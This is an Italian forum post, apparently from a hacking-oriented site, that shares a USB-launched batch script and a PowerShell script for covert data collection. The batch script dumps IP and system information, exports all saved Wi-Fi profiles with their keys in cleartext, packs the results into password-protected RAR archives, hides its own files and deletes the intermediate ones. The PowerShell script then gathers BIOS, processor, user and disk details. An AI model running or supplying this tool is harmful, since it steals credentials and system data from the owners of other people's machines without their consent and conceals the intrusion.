Ultima modifica:
Piccolo script in batch per estrapolare IP, password Wi-FI e syinfo.
Occorenti:
Lo si può trovare nella directory
-Script syinfo/IP batch
-Script syinfo PWS
Features script in powershell:
Occorenti:
- USB
- WinRAR
rar.exe
, grazie a quest'ultimo è possibile utlizzare WinRAR da riga di comando(cmd), in questo modo:
Codice:
@rar.exe -pPASSWORD archivio.rar
C:\programmi\WinRAR\rar.exe
-Script syinfo/IP batch
Codice:
title haklog
@mode con cols=60 lines=15
cls
rem scrittura file log
@echo off
echo =============
echo ====haklog====
echo =============
(
echo userprofile = %userprofile%
ipconfig.exe
systeminfo.exe
echo data = %date%
echo ora = %time%
) >> log.txt
netsh wlan export profile key=clear
rem compressione
@rar.exe a -pPASSWORD log.rar log.txt > nul
@rar.exe a -pPASSWORD WiFi.rar *.xml > nul
rem eliminazione e celamento dei file usati
attrib +h *.bat
attrib +h *.inf
attrib +h *.exe
del *.txt
del *.xml
call syinfo-pws.ps1
-Script syinfo PWS
Codice:
mode con cols=60 lines=15
mkdir syinfo-pws
cd syinfo-pws
Get-CimInstance -ClassName Win32_BIOS >> BIOS.txt
Get-CimInstance -ClassName Win32_Processor | Select-Object -ExcludeProperty "CIM*" >> processor.txt
Get-CimInstance -ClassName Win32_ComputerSystem >> model.txt
Get-CimInstance -ClassName Win32_ComputerSystem -Property UserName >> user.txt
Get-CimInstance -ClassName Win32_LogicalDisk -Filter "DriveType=3" >> diskspace.txt
Get-CimInstance -ClassName Win32_LocalTime >> date-time.txt
- Info BIOS
- Info processore
- Info produttore e modello PC
- Elenco utenti e proprietario
- Spazio sul disco
- Data e ora